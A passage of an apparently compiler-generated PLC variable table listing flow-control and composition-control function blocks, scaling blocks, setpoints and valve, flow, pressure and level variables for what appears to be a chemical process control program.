+14;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;UINT; +15;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;REAL; +16;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;UINT; +17;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +18;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +19;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +20;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +21;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +22;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +23;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +24;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +25;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +26;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +27;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +28;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +29;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +30;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +31;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +32;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +33;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +34;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +35;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +36;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +37;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +38;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +39;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;REAL; +40;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;REAL; +41;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;REAL; +42;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;REAL; +43;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +44;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +45;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +46;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +47;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +48;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +49;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +50;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +51;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +52;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +53;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +54;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +55;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +56;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +57;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +58;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +59;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +60;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +61;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +62;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;REAL; +63;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;REAL; +64;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;REAL; +65;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;REAL; +66;VAR;CONFIG0.RES0.INSTANCE0.FIRST_RUN;CONFIG0.RES0.INSTANCE0.FIRST_RUN;BOOL; +67;VAR;CONFIG0.RES0.INSTANCE0.FLOW_SET;CONFIG0.RES0.INSTANCE0.FLOW_SET;UINT; +68;VAR;CONFIG0.RES0.INSTANCE0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.A_SETPOINT;UINT; +69;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;UINT; +70;VAR;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;UINT; +71;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_SP;UINT; +72;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;COMPOSITION_CONTROL; +73;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;BOOL; +74;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;BOOL; +75;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;REAL; +76;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;UINT; +77;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;REAL; +78;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;UINT; +79;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;UINT; +80;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;REAL; +81;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;REAL; +82;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;REAL; +83;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;UINT; +84;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;REAL; +85;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;REAL; +86;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;TIME; +87;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;SCALE_TO_REAL; +88;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;BOOL; +89;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;BOOL; +90;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;UINT; +91;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;REAL; +92;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;REAL; +93;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;REAL; +94;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;UINT; +95;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;UINT; +96;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;REAL; +97;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;REAL; +98;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +99;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +100;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +101;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +102;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +103;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +104;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +105;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +106;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +107;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +108;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +109;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +110;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +111;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +112;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +113;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +114;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +115;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +116;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +117;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;REAL; +118;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;REAL; +119;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;REAL; +120;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;REAL; +121;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +122;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +123;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +124;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +125;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +126;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +127;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +128;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +129;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +130;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +131;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +132;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;REAL; +133;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;REAL; +134;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;REAL; +135;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;REAL; +136;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0;SCALE_TO_SIGNED; +137;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.EN;BOOL; +138;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ENO;BOOL; +139;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT;UINT; +140;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT;INT; +141;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT;UINT; +142;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT;UINT; +143;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT;INT; +144;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;UINT; +145;VAR;CONFIG0.RES0.INSTANCE0.F1_FLOW;CONFIG0.RES0.INSTANCE0.F1_FLOW;UINT; +146;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;UINT; +147;VAR;CONFIG0.RES0.INSTANCE0.F2_FLOW;CONFIG0.RES0.INSTANCE0.F2_FLOW;UINT; +148;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;UINT; +149;VAR;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;UINT; +150;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;UINT; +151;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;UINT; +152;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE;UINT; +153;VAR;CONFIG0.RES0.INSTANCE0.LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL;UINT; +154;VAR;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;UINT; +155;VAR;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;UINT; +156;VAR;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;UINT; +157;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;UINT; +158;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;UINT; 